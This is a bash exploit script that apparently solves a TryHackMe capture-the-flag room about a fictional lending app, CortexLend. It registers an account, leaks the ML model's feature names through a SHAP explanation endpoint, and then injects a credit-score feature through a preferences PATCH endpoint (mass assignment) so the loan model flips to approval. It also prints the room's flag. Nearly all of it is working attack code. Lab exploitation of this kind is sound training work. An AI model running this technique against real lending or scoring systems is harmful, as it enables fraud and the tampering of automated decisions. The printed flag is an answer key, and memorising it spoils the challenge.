#!/bin/bash
# CortexLend ML-pipeline exploit — THM Token City: The Loan Arranger
#
# Vuln: feature-store namespace collision. PATCH /api/profile/preferences
# accepts arbitrary keys and writes them into the same user record the
# GradientBoosting model reads at inference. SHAP /api/loan/explain leaks
# the exact feature names — turning blind mass-assignment into guided.
#
# Flag: THM{f34tur3_st0r3_n4m3sp4c3_c0ll1s10n}

set -u
TARGET="${TARGET:-http://10.113.144.143}"
JAR="$(mktemp -t cortexjar.XXXXXX)"
USER="agent_$(LC_ALL=C tr -dc 'a-z0-9' </dev/urandom | head -c 8)"
PASS="P@ss_$(LC_ALL=C tr -dc 'A-Za-z0-9' </dev/urandom | head -c 12)"
trap 'rm -f "$JAR"' EXIT

hr() { printf '\n=== %s ===\n' "$*"; }
req() {
  local method=$1 path=$2 body=${3-}
  if [ -n "$body" ]; then
    curl -sk -m 15 -c "$JAR" -b "$JAR" -X "$method" \
      -H 'Content-Type: application/json' -d "$body" "$TARGET$path"
  else
    curl -sk -m 15 -c "$JAR" -b "$JAR" -X "$method" "$TARGET$path"
  fi
  printf '\n'
}

hr "Register $USER"
req POST /auth/register "{\"username\":\"$USER\",\"password\":\"$PASS\"}"

hr "Login"
req POST /auth/login "{\"username\":\"$USER\",\"password\":\"$PASS\"}"

hr "Baseline apply (expect denied, score ~0.225)"
req POST /api/loan/apply

hr "Leak feature names via SHAP"
EXPLAIN=$(req GET /api/loan/explain)
echo "$EXPLAIN"
FEATURES=$(echo "$EXPLAIN" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(' '.join((d.get('feature_impacts') or {}).keys()))
")
echo "Features: $FEATURES"

hr "Mass-assignment: PATCH ML feature via preferences endpoint"
# credit_duii is this target's obfuscated 'credit score'. Setting it
# to 820 alone flips the GradientBoosting decision to approved.
req PATCH /api/profile/preferences '{"credit_duii": 820}'

hr "Re-apply (expect APPROVED with flag in message)"
RESULT=$(req POST /api/loan/apply)
echo "$RESULT"

hr "Flag"
echo "$RESULT" | grep -oE 'THM\{[^}]+\}' || echo "No flag in response — check transcript"
